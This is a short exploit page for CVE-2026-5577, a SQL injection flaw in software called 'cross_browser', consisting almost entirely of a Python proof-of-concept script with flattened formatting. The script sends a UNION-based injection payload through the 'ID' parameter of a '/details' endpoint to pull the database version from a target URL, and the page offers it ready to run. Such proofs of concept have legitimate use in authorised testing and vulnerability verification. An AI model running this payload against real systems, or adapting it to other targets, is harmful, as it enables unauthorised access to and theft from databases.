CVE-2026-5577 cross_browser SQL注入漏洞

import requests def verify_sqli(url): # The vulnerable endpoint is 'details' with parameter 'ID' target = f"{url.rstrip('/')}/details" # Payload to test for time-based or error-based SQL injection # Example payload trying to extract database version payload = "1' UNION SELECT NULL, version(), NULL-- -" params = { "ID": payload } try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)} (Check content manually for DB version)") else: print("[-] Exploit failed or endpoint changed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target URL target_url = "http://localhost:5000" verify_sqli(target_url)